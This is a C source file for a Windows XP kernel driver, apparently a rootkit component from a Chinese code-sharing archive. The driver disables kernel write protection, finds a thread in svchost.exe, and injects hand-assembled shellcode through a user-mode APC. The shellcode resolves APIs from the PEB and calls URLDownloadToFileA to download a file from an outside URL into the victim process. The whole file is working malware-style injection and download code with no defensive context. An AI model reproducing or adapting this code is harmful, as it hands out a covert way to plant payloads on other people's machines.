www.pudn.com > uay_source.rar > wget.c
/// // uty@uaty /// #include#ifdef DBG #define u_DbgPrint(_x_) \ DbgPrint _x_; #else #define u_DbgPrint(_x_) #endif //-------------------------------------------------------------------- typedef enum _KAPC_ENVIRONMENT{ OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment }KAPC_ENVIRONMENT; typedef struct _KAPC_STATE{ LIST_ENTRY ApcListHead[2]; PEPROCESS Process; UCHAR KernelApcInProgress; UCHAR KernelApcPending; UCHAR UserApcPending; }KAPC_STATE,*PKAPC_STATE; typedef struct _wgetpArA{ PCHAR szURL; PCHAR szFileNAme; }WGETPARA,*PWGETPARA; //-------------------------------------------------------------------- NTSTATUS uSetTheApc( ULONG process, ULONG threAd, ULONG MAppedAddress, PKEVENT pEvent, PWGETPARA pPArA ); VOID WorkThreAd( IN PVOID pContext ); VOID KernelApcCAllBAck( PKAPC Apc, PKNORMAL_ROUTINE *NormalRoutine, PVOID *NormalContext, PVOID *SystemArgument1, PVOID *SystemArgument2 ); VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject ); BOOLEAN find_threAd( OUT ULONG *process, OUT ULONG *threAd ); UserWget( PCHAR szURL, PCHAR szFileNAme, PVOID unused ); UserWget_end( VOID ); BOOLEAN CheckVersion( VOID ); /* Function prototypes for APCs */ VOID KeInitializeApc( PKAPC Apc, PKTHREAD Thread, CCHAR ApcStateIndex, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext ); BOOLEAN KeInsertQueueApc( PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, UCHAR unknown ); /* Function prototypes for AttAch process */ NTKERNELAPI VOID KeStackAttachProcess( IN PEPROCESS Process, OUT PKAPC_STATE ApcState ); NTKERNELAPI VOID KeUnstackDetachProcess( IN PKAPC_STATE ApcState ); //-------------------------------------------------------------------- static ULONG THREADLISTHEAD_OFFSET; static ULONG THREADLISTENTRY_OFFSET; static ULONG IMAGEFILENAME_OFFSET; static ULONG ACTIVEPROCESSLINKS_OFFSET; static ULONG USERAPCPENDING_OFFSET; static ULONG TCB_TEB_OFFSET; BOOLEAN KWget( PCHAR szURL, PCHAR szFileNAme ) { PWGETPARA pPArA = NULL; HANDLE hThreAd = NULL; NTSTATUS dwStAtus; if(strlen(szURL)+strlen(szFileNAme) > 98){ //two bytes for '\0' DbgPrint("szURL And szFileNAme is too long,At most 100 bytes\n"); return FALSE; } pPArA = ExAllocatePool(PagedPool,sizeof(WGETPARA)); if(pPArA == NULL){ DbgPrint("ExAllocAtePool fAiled\n"); return FALSE; } pPArA->szURL = szURL; pPArA->szFileNAme = szFileNAme; if(FALSE == CheckVersion()){ DbgPrint("os version not supported\n"); return FALSE; } dwStAtus = PsCreateSystemThread(&hThreAd, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, WorkThreAd, pPArA ); if (!NT_SUCCESS(dwStAtus)){ DbgPrint("error when creAte the threAd\n"); ExFreePool(pPArA); return FALSE; } return TRUE; } //-------------------------------------------------------------------- BOOLEAN CheckVersion( VOID ) { RTL_OSVERSIONINFOEXW osversion = {0}; osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion); u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion)); u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion)); u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber)); u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor)); u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor)); if( (osversion.dwMajorVersion == 5) && (osversion.dwMinorVersion == 1) && (osversion.wServicePackMajor == 1) //&& (osversion.wServicePackMinor == 0) ) { THREADLISTHEAD_OFFSET = 0x190; THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works; IMAGEFILENAME_OFFSET = 0x174; ACTIVEPROCESSLINKS_OFFSET = 0x88; USERAPCPENDING_OFFSET = 0x4A; TCB_TEB_OFFSET = 0x20; return TRUE; } else if( (osversion.dwMajorVersion == 5) && (osversion.dwMinorVersion == 1) && (osversion.wServicePackMajor == 2) //&& (osversion.wServicePackMinor == 0) ) { THREADLISTHEAD_OFFSET = 0x190; THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works; IMAGEFILENAME_OFFSET = 0x174; ACTIVEPROCESSLINKS_OFFSET = 0x88; USERAPCPENDING_OFFSET = 0x4A; TCB_TEB_OFFSET = 0x20; return TRUE; } return FALSE; } //PMDL pMdl = NULL; VOID WorkThreAd( IN PVOID pContext ) { ULONG process,threAd; PKEVENT pEvent = NULL; PMDL pMdl = NULL; PVOID MAppedAddress = NULL; ULONG size; KAPC_STATE ApcStAte; PWGETPARA pPArA = NULL; pPArA = (PWGETPARA)pContext; if (!find_threAd(&process,&threAd)){ DbgPrint("cAnnot find the right threAd\n"); PsTerminateSystemThread(STATUS_SUCCESS); } pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT)); if(!pEvent){ DbgPrint("ExAllocatePool(pEvent) fAiled\n"); PsTerminateSystemThread(STATUS_SUCCESS); } _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } memcpy((UCHAR*)UserWget_end,pPArA->szURL,strlen(pPArA->szURL)); memset((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL)),0,1); memcpy((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL) + 1),pPArA->szFileNAme,strlen(pPArA->szFileNAme)); memset((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL) + 1 + strlen(pPArA->szFileNAme)),0,1); _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } size = (UCHAR*)UserWget_end - (UCHAR*)UserWget + 100;//最多100个字节的 u_DbgPrint(("size: %d\n",size)); pMdl = IoAllocateMdl( UserWget, size, FALSE, FALSE, NULL ); if(!pMdl){ ExFreePool (pEvent); DbgPrint("IoAllocateMdl fAiled\n"); PsTerminateSystemThread(STATUS_SUCCESS); } __try{ MmProbeAndLockPages( pMdl, KernelMode, IoWriteAccess ); } __except(EXCEPTION_EXECUTE_HANDLER){ IoFreeMdl(pMdl); ExFreePool(pEvent); DbgPrint("MmProbeAndLockPAges fAiled\n"); PsTerminateSystemThread(STATUS_SUCCESS); } u_DbgPrint(("process 0x%x\n",process)); KeStackAttachProcess((PEPROCESS)process,&ApcStAte); __try{ MAppedAddress = MmMapLockedPagesSpecifyCache( pMdl, UserMode, MmCached, NULL, FALSE, NormalPagePriority ); } __except(EXCEPTION_EXECUTE_HANDLER){ MmUnlockPages(pMdl); IoFreeMdl(pMdl); ExFreePool(pEvent); DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n"); PsTerminateSystemThread(STATUS_SUCCESS); } u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress)); if (!MAppedAddress){ KeUnstackDetachProcess(&ApcStAte); MmUnlockPages(pMdl); IoFreeMdl(pMdl); ExFreePool(pEvent); DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n"); PsTerminateSystemThread(STATUS_SUCCESS); } //reuse his pPArAm,freed in APC->KernelRoutine (ULONG)pPArA->szURL = (ULONG)MAppedAddress + (ULONG)((UCHAR*)UserWget_end - (UCHAR*)UserWget); (ULONG)pPArA->szFileNAme = (ULONG)MAppedAddress + (ULONG)((UCHAR*)UserWget_end - (UCHAR*)UserWget) + strlen(pPArA->szURL) + 1 ; KeUnstackDetachProcess(&ApcStAte); KeInitializeEvent(pEvent,NotificationEvent,FALSE); uSetTheApc(process,threAd,(ULONG)MAppedAddress,pEvent,pPArA); KeWaitForSingleObject( pEvent, Executive, KernelMode, FALSE, NULL ); u_DbgPrint(("ok free pEvent pMdl now\n")); ExFreePool(pEvent); MmUnlockPages(pMdl); IoFreeMdl(pMdl); PsTerminateSystemThread(STATUS_SUCCESS); DbgPrint("Never be here \n"); } //-------------------------------------------------------------------- NTSTATUS uSetTheApc( ULONG process, ULONG threAd, ULONG MAppedAddress, PKEVENT pEvent, PWGETPARA pPArA ) { NTSTATUS dwStAtus = STATUS_SUCCESS; PKAPC pkApc; BOOLEAN bBool; *((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1; ////////////////////////////////////////////// //*((unsigned char *)threAd+0x164)=1; //both of them works :> pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC)); if (pkApc == NULL){ DbgPrint("error:ExAllocAtePool\n"); return STATUS_INSUFFICIENT_RESOURCES; } u_DbgPrint(("szURL: 0x%x\n",pPArA->szURL)); KeInitializeApc( pkApc, (PKTHREAD)threAd, OriginalApcEnvironment, (PKKERNEL_ROUTINE)KernelApcCAllBAck, NULL, (PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck, UserMode, (PVOID)pPArA ); bBool = KeInsertQueueApc(pkApc,pEvent,0,0); //ticky if(bBool == FALSE){ DbgPrint("error:KeInsertQueueApc\n"); } return STATUS_SUCCESS; } //-------------------------------------------------------------------- VOID KernelApcCAllBAck( PKAPC Apc, PKNORMAL_ROUTINE *NormAlRoutine, IN OUT PVOID *NormAlContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) { PKEVENT pEvent; PWGETPARA pPArA; u_DbgPrint(("NormAlContext: 0x%x\n",(ULONG)*NormAlContext)); pEvent = (PKEVENT)*SystemArgument1; KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE); pPArA = (PWGETPARA)*NormAlContext; *SystemArgument1 = (PVOID)pPArA->szFileNAme; //*SystemArgument2 = (PVOID)pPArA->ulType; *NormAlContext = (PVOID)pPArA->szURL; u_DbgPrint(("SystemArgument1: 0x%x\n",(ULONG)*SystemArgument1)); //u_DbgPrint(("SystemArgument2: 0x%x\n",(ULONG)*SystemArgument2)); ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox u_DbgPrint(("Freeing APC Object\n")); ExFreePool(Apc); // free the kernel memory } //-------------------------------------------------------------------- BOOLEAN find_threAd( OUT ULONG *process, OUT ULONG *threAd ) { ULONG eproc; ULONG begin_proc; ULONG ethreAd; ULONG begin_threAd; PLIST_ENTRY plist_Active_procs; PLIST_ENTRY plist_threAd; /* #define IS_SYSTEM_THREAD(thread) \ (((thread)->Tcb.Teb == NULL) || \ (IS_SYSTEM_ADDRESS((thread)->Tcb.Teb))) */ eproc = (ULONG)PsGetCurrentProcess(); begin_proc = eproc; while(1){ u_DbgPrint(("%s\n",(CHAR*)(eproc + IMAGEFILENAME_OFFSET))); if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET),"svchost.exe")){ break; } else{ plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET); eproc = (ULONG) plist_Active_procs->Flink; eproc = eproc - ACTIVEPROCESSLINKS_OFFSET; if(eproc == begin_proc) return FALSE; } } plist_threAd = (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET); ethreAd = (ULONG)plist_threAd->Flink; ethreAd = ethreAd - THREADLISTENTRY_OFFSET; u_DbgPrint(("threAd: 0x%x\n",ethreAd)); begin_threAd = ethreAd; while(1){ //if !IS_SYSTEM_THREAD(threAd) u_DbgPrint(("(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET): 0x%x\n",*(ULONG*)((CHAR*)ethreAd+TCB_TEB_OFFSET))); if( (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) != 0) && (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) <= 0x80000000 ) ){ break; } else{ plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET); ethreAd = (ULONG)plist_threAd->Flink; ethreAd = ethreAd - THREADLISTENTRY_OFFSET; u_DbgPrint(("ethreAd: 0x%x\n",ethreAd)); if(ethreAd == begin_threAd) return FALSE; } } *process = eproc; *threAd = ethreAd; return TRUE; } //-------------------------------------------------------------------- __declspec(naked) UserWget( PCHAR szURL, PCHAR szFileNAme, PVOID unused ) { __asm{ push ebp mov ebp, esp } __asm{ pushad sub esp, 20 //存放得到的函数地址 jmp end start: pop edx // 指令表起始地址存放在 esp -> edx push ebp//u 保存 下面这段程序用到了ebp // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== // // 输入: // edx => 指令表起始地址 (不需要) // // 输出: // eax => kernel32.dll起始地址 // edx => 指令表起始地址 mov eax, fs:0x30 // PEB mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO mov esi, [eax + 0x1c] // InInitOrder.flink lodsd mov eax, [eax+8] // ========== 定位GetProcAddress的地址 ========== // // 输入: // eax => kernel32.dll起始地址 // edx => 指令表起始地址 // // 输出: // ebx => kernel32.dll起始地址 // eax => GetProcAddress地址 // edx => 指令表起始地址 mov ebx, eax // 取kernel32.dll的起始地址 mov esi, dword ptr [ebx+0x3C] //u 在e_lfanew中得到pe heAder mov esi, dword ptr [esi+ebx+0x78] //u export directory rvA add esi, ebx mov edi, dword ptr [esi+0x20] //u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image add edi, ebx mov ecx, dword ptr [esi+0x14] //u AddressOfFunctions; // RVA from base of image xor ebp, ebp push esi search_GetProcAddress: push edi push ecx mov edi,dword ptr [edi] add edi,ebx // 把输出函数名表起始地址存人edi mov esi,edx // 指令表起始地址存入esi //mov ecx,0Eh // 函数getprocAddress长度为0Eh push 0xE pop ecx repe cmps byte ptr [esi],byte ptr [edi] je search_GetProcAddress_ok pop ecx pop edi add edi,4 /// inc ebp loop search_GetProcAddress search_GetProcAddress_ok: pop ecx pop edi pop esi mov ecx, ebp mov eax, dword ptr [esi+24h] //u AddressOfNameOrdinals; // RVA from base of image add eax, ebx shl ecx, 1 add eax, ecx xor ecx, ecx mov cx, word ptr [eax] mov eax, dword ptr [esi+1Ch] //AddressOfFunctions; // RVA from base of image add eax, ebx shl ecx, 2 add eax, ecx mov eax, dword ptr [eax] add eax, ebx pop ebp//u 保存 //-------------------------------------------------------------------- // ============ 调用函数解决api地址 ============ // // 输入: // ebx =>kernel32.dll起始地址 // eax =>GetProcAddress地址 // edx =>指令表起始地址 // // 输出: // edi =>函数地址base addr // esi =>指令表当前位置 // edx =>GetProcAddress 地址 mov edi,edx mov esi,edi add esi,0xE // 0xE 跳过1个字符串"GetProcAddress" // ============ 解决kernel32.dll中的函数地址 ============ mov edx,eax // 把GetProcAddress 地址存放在edx push 0x1 // 需要解决的函数地址的个数 硬编码可以节省两个字节 pop ecx mov edi, esp ///////// get some spAce to edi call locator_api_addr // -------------加载urlmon.dll------------------------ add esi, 0xd // 0xd即"urlmon"前面那个字符串的长度,硬编码可以节省两个字节 push edx // edx是GetProcAddress 地址 push esi // 字符"urlmon"地址 call dword ptr [edi-4] // LoadLibraryA/////////???? // ============ 解决urlmon中的函数地址 ============ pop edx mov ebx, eax // 将urlmon起始地址存放在ebx push 0x1 // 函数个数 pop ecx // 函数个数 <-这种方式省两个字节 call locator_api_addr add esi, 0x13 // URLDownloadToFileA 的长度为0x13 //-------------------------------------------------------------------- // push 0 //lpfnCB push 0 //dwResv push szFileNAme push szURL push 0 call dword ptr [edi-4] jmp end_func //-------------------------------------------------------------------- // ============ 解决api地址的函数 ============ // // 输入参数: // ecx 函数个数 // edx GetProcAddress 地址 // ebx 输出函数的dll起始地址 // esi 函数名表起始地址 // edi 保存函数地址的起始地址 locator_api_addr: locator_space: xor eax, eax lodsb test eax, eax // 寻找函数名之间的空格x00 jne locator_space push ecx push edx push esi // 函数名 push ebx // 输出函数的dll起始地址 call edx pop edx pop ecx stos dword ptr [edi] loop locator_space xor eax, eax ret //-------------------------------------------------------------------- // ================== 结束调用 ==================== end: call start __emit 'G' __emit 'e' __emit 't' __emit 'P' __emit 'r' __emit 'o' __emit 'c' __emit 'A' __emit 'd' __emit 'd' __emit 'r' __emit 'e' __emit 's' __emit 's' __emit 0 __emit 'L' __emit 'o' __emit 'a' __emit 'd' __emit 'L' __emit 'i' __emit 'b' __emit 'r' __emit 'a' __emit 'r' __emit 'y' __emit 'A' __emit 0 __emit 'u' __emit 'r' __emit 'l' __emit 'm' __emit 'o' __emit 'n' __emit 0 __emit 'U' __emit 'R' __emit 'L' __emit 'D' __emit 'o' __emit 'w' __emit 'n' __emit 'l'//注意这个是小写的 __emit 'o' __emit 'a' __emit 'd' __emit 'T' __emit 'o' __emit 'F' __emit 'i' __emit 'l' __emit 'e' __emit 'A' __emit 0 end_func: add esp,20 popad } __asm{ mov esp,ebp pop ebp ret //don't forget this :> } } //-------------------------------------------------------------------- __declspec(naked) UserWget_end(VOID) { __asm{ __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 __emit 0 //100 } } //--------------------------------------------------------------------